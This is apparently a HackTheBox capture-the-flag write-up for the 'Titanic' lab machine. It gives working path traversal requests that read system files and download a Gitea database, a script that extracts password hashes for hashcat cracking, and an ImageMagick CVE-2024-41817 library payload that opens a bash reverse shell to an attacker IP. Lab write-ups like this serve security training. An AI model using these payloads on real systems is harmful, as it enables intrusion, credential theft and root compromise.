HTB Lab: Titanic
A comprehensive walkthrough of exploiting the Titanic HTB machine, from initial Nmap scanning and directory traversal to cracking Gitea hashes and leveraging a vulnerable ImageMagick (CVE-2024-41817) for root access.
Titanic
Machine Name: Titanic
OS: Linux
Difficulty: Easy
User Blood: jazzpizazz
System Blood: Vz0n
Introduction
In this writeup, we walk through the exploitation of the Titanic machine on HTB, an easy-level Linux target. We begin by performing an Nmap scan to identify open services before discovering a directory traversal vulnerability on the booking formโs download endpoint. This vulnerability leads us to uncover a hidden Gitea instance, from which we identify a gitea.db
used to extract and crack user hashes to gain SSH access as the developer user. Finally, by exploiting a vulnerable version of ImageMagick (CVE-2024-41817), we escalate our privileges to root and capture both the user and root flags.
Port Enumeration with Nmap
Nmap Command
1
nmap -sC -sV -sU --top-ports 200 -o nmap_output 10.10.11.55
Nmap Command Output
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Sun Feb 16 19:00:00 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -T4 -oA nmap_output 10.10.11.55
Nmap scan report for 10.10.11.55
Host is up (0.035s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
# Nmap done at Sun Feb 16 19:00:08 2025 -- 1 IP address (1 host up) scanned in 8.35 seconds
From the results, we see two open TCP ports:
- 22/tcp: SSH (OpenSSH 8.9p1)
- 80/tcp: HTTP (Apache 2.4.52)
Initial Enumeration on Port 80
Navigating to http://titanic.htb
displays a website featuring a booking form:
When this form is submitted, two requests are made:
- POST /book with form data (name, email, phone, date, and cabin).
- GET /download?ticket=<ID>.json returning a JSON file with the submitted data:
1
2
3
4
5
6
7
{
"name": "zer0",
"email": "zer0@htb.com",
"phone": "123-456-7891",
"date": "2025-02-16",
"cabin": "Suite"
}
Directory Traversal
Noticing the download
endpoint, we attempt a directory traversal payload:
1
GET /download?ticket=../../../../../../../../etc/hosts HTTP/1.1
This successfully returns the contents of /etc/hosts
, confirming we have read access on the filesystem via a path traversal vulnerability:
1
2
3
127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic
...
Here we discover a subdomain: dev.titanic.htb. We add this to our own /etc/hosts
file and navigate to it.
Exploring dev.titanic.htb
Visiting http://dev.titanic.htb
reveals a Gitea interface. In one of the repositories (developer/docker-config), a commit (22f11c1c4
) references a mounted volume at /home/developer/gitea/data
. We suspect that the Gitea database might contain credentials or other useful information.
Extracting the Gitea Database
Using the path traversal vulnerability again, we request the Gitea database directly:
1
GET /download?ticket=../../../../../../../home/developer/gitea/data/gitea/gitea.db
We can use curl
to save the file locally:
1
curl "http://titanic.htb/download?ticket=../../../../../../../../../../home/developer/gitea/data/gitea/gitea.db" --output gitea.db
Inspecting it shows:
1
2
file gitea.db
# gitea.db: SQLite 3.x database ...
Cracking the Hashes
Next, we dump the Gitea user hashes using a Python script (adapted from gitea3hashcat.py):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import sqlite3
import base64
import sys
if len(sys.argv) != 2:
print("Usage: python3 gitea3hashcat.py <gitea.db>")
sys.exit(1)
try:
con = sqlite3.connect(sys.argv[1])
cursor = con.cursor()
cursor.execute("SELECT name,passwd_hash_algo,salt,passwd FROM user")
for row in cursor.fetchall():
if "pbkdf2" in row[1]:
algo, iterations, keylen = row[1].split("$")
algo = "sha256"
name = row[0]
else:
raise Exception("Unknown Algorithm")
salt = bytes.fromhex(row[2])
passwd = bytes.fromhex(row[3])
salt_b64 = base64.b64encode(salt).decode("utf-8")
passwd_b64 = base64.b64encode(passwd).decode("utf-8")
print(f"{name}:{algo}:{iterations}:{salt_b64}:{passwd_b64}")
except Exception as e:
print(f"Error: {e}")
sys.exit(1)
Running the script gives us hashes for various users:
1
2
3
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
...
We use hashcat to crack them:
1
hashcat -m 10900 hash.txt rockyou.txt -o cracked.txt
Eventually, we discover valid credentials. For example:
1
developer:sha256:50000:... = 25282528
SSH Access and User Flag
Armed with these credentials, we SSH into the target:
1
ssh developer@10.10.11.55
After logging in, we retrieve the user flag:
1
2
developer@titanic:~$ cat user.txt
8e14e18a329c3b041af6c8688bdaafa3
And that concludes the user-level compromise for the Titanic machine.
Root Flag and CVE-2024-41817
After enumerating the machine, we find the following interesting file:
1
-rwxr-xr-x 1 root root 167 Feb 3 17:11 identify_images.sh
1
2
3
4
developer@titanic:/opt/scripts$ cat identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
Looking at the magick version used in the script we identify the following:
1
2
3
4
5
6
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
This version of magick is vulnerable to Arbitrary Code Execution under CVE-2024-41817. We modify the POC used in the github security advisory to get a reverse shell onto the root user:
1
2
3
4
5
6
7
8
9
10
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/3333 0>&1'");
exit(0);
}
EOF
1
nc -lnvp 3333
1
2
3
4
5
6
listening on [any] 3333 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.55] 56142
bash: cannot set terminal process group (40510): Inappropriate ioctl for device
bash: no job control in this shell
root@titanic:/opt/app/static/assets/images# whoami
root